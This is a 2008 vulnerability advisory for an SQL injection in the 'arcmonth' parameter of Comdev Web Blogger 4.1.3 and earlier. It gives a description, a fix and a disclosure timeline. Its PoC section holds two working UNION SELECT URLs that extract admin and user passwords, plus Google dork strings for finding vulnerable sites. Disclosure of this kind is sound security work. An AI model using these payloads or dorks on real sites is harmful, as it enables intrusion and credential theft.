[ECHO_ADV_100$2008] Comdev Web Blogger <= 4.1.3 (arcmonth) Sql Injection Vulnerability

                                    .OR.ID

ECHO_ADV_100$2008

[ECHO_ADV_100$2008] Comdev Web Blogger <= 4.1.3 (arcmonth) Sql Injection Vulnerability

Author : M.Hasran Addahroni
Date : July, 14 th 2008
Location : Jakarta, Indonesia
Web : http://e-rdc.org/v1/news.php?readmore=102
Critical Lvl : Medium
Impact : System access
Where : From Remote

Affected software description:

Application : Comdev Web Blogger
version     : <= 4.1.3
Vendor      : http://www.comdevweb.com/blogger.php
Description :

Comdev Web Blogger is your voice and also allows others to give you feedback on a post-by-post basis.
Site members can now create, manage, upload photos to their own blogs.FEATURES: Non Template-Based Gives You Flexibility
to Fit
the Web Blogger to Your Web Design Page • Multiple user accounts to create & invite friends to their own blogs • Hot
Blogs, 
Latest Blogs • RSS News Feeds • Blogs Categorisation • Hot Blogs & Latest Blogs • Search Blogs • Mini Calendar • Monthly
Archive•
Links to Friends' Blog • Public or Friends View Only Blogs • Set Post Comments Permission • Friends Login • Forms
Submission with 
CAPTCHA Image Verification • WYSIWYG Editor for Blog & Comment • Notify Friends of New Blog • Set View & Post Comment
Permissions •
sSet Date & Time Format • Local Time Zone • Pre-defined Front-end CSS • Personalized Emails & Auto-Responders • 
Installation Support available

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "arcmonth" parameter in blog's page is not properly verified before being used 
in an sql query.
This can be exploited thru the browser to manipulate SQL queries and pull the username and password
from admin and users in plain text. Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~~

http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-1%20union%20select%201,concat(username,0x3a,password),3,4,5,6%20from%20sys_user--
http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-11%20union%20select%201,username,3,password,5,6%20from%20sys_user/*

Admin Login at http://www.example.com/[PATH]/oneadmin/

Dork:
~~~~~
Google : "Powered by Comdev Web Blogger" or allinurl:".php?domain= arcyear=2007 arcmonth"


Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini


Timeline:
~~~~~~~~~

- 11 - 07 - 2008 bug found
- 11 - 07 - 2008 vendor contacted
- 14 - 07 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife "happy birthday darling", zautha - my beloved son
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative,
the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,
super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R,
kuntua, stev_manado,nofry,k1tk4t,0pt1c
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://www.e-rdc.org/

-------------------------------- [ EOF ] ----------------------------------